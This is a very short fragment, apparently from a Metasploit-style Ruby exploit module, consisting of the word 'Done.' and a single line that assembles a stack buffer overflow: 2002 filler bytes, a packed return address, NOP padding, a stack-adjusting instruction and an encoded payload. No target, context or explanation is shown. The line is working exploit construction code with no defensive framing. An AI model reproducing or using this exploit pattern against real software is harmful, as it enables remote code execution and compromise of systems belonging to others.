Done. 		
sploit = "\x41" * 2002 << [target.ret].pack('V') << make_nops(4) << "\x83\xc4\x9c" << payload.encoded